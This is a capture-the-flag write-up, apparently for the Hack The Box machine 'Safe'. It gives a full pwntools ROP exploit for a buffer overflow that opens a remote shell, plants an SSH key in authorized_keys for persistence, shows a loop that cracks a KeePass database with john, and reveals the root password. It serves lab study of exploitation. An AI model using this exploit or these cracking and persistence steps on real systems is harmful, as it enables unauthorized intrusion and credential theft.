Safe (Easy)
{"author": ["ret2basic"]}

Machine Info Card

Summary

Nmap

Nmap
Our initial target is port 80, of course. Port 1337 look suspicious and we will find out what it is soon.

Enumeration

Visit port 80 and view source code:
1
<!-- 'myapp' can be downloaded to analyze from here
2
its running on port 1337 -->
Copied!
The vulnerable program can be downloaded from:
1
http://10.10.10.147/myapp
Copied!

ROP

Recon

1
$ file myapp
2
myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped
Copied!
1
$ checksec myapp
2
[*] '/root/Dropbox/HTB/Box/Safe/myapp/myapp'
3
Arch: amd64-64-little
4
RELRO: Partial RELRO
5
Stack: No canary found
6
NX: NX enabled
7
PIE: No PIE (0x400000)
Copied!
Since NX is the only protection on this binary, this is very likely to be a ROP challenge.

Pseudocode

main:
1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
char s; // [rsp+0h] [rbp-70h]
4
5
system("/usr/bin/uptime");
6
printf("\nWhat do you want me to echo back? ", argv);
7
gets(&s, 1000LL);
8
puts(&s);
9
return 0;
10
}
Copied!

Analysis

It seems to be a typical ret2system challenge on x64 at first glance, but that's not the case. The absence of the string/bin/sh makes it slightly difficult.
First, note that there is an unused function named test:
test
This function does two things:
    1.
    It moves the content of rbp to rdi. This is because the first operation of the function prologue push rbp moves the content of rbp to rsp, and then mov rdi, rsp moves the content of rsp to rdi. Pictorially, we have rbp -> rsp -> rdi. We can use this functionality to pass /bin/sh.
    2.
    It jumps to r13 in the end. We can use this functionality to call system.
So the attacking idea is:
    1.
    Fill the buffer with junk and stop right before rbp.
    2.
    Store /bin/sh\x00 in rbp.
    3.
    Store [email protected] in r13.
    4.
    Call test.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="amd64", os="linux")
7
elf = ELF("myapp", checksec=False)
8
9
local = False
10
if local:
11
r = elf.process()
12
else:
13
host = "10.10.10.147"
14
port = 1337
15
r = remote(host, port)
16
17
#--------ROP--------#
18
19
offset = 120
20
bin_sh = b"/bin/sh\x00"
21
22
# ROPgadget --binary myapp --only "pop|ret" | grep r13
23
pop_r13_r14_r15 = 0x0000000000401206
24
system_plt = elf.plt["system"]
25
test = elf.sym["test"]
26
27
payload = flat(
28
bin_sh.rjust(offset, b"\x90"),
29
pop_r13_r14_r15, system_plt, 0, 0, # r13 = [email protected]
30
test,
31
)
32
33
r.sendlineafter("\n", payload)
34
r.interactive()
Copied!

Foothold

Run the exploit and get user shell:
user

A Better Shell

Although we have a shell, it is not the good-looking kind. To obtain a better shell, upload your id_rsa.pub to the server:
1
$ echo "<your id_rsa.pub>" > /home/user/.ssh/authorized_keys
Copied!
Connect to the server via SSH:
ssh

KeePass Master Password Cracking

This part is a little guessy. We could use loop through all the jpg files and try each one of them as key file:
1
#!/bin/bash
2
3
for i in *.JPG
4
do
5
echo "\#--------------------------------$i--------------------------------\#"
6
keepass2john -k $i MyPasswords.kdbx > hash.txt
7
john hash.txt
8
done
Copied!
It turns out that the key file is IMG_0547.JPG and the master password is bullshit. Fine.

Privilege Escalation

Now we could read the KeePass file with kpcli:
1
kpcli --key=IMG_0547.JPG --kdb=MyPasswords.kdbx
Copied!
Keepass
The root password is u3v2249dl9ptv465cogl3cnpo3fyhk.
Switch user to root:
root
Last modified 3mo ago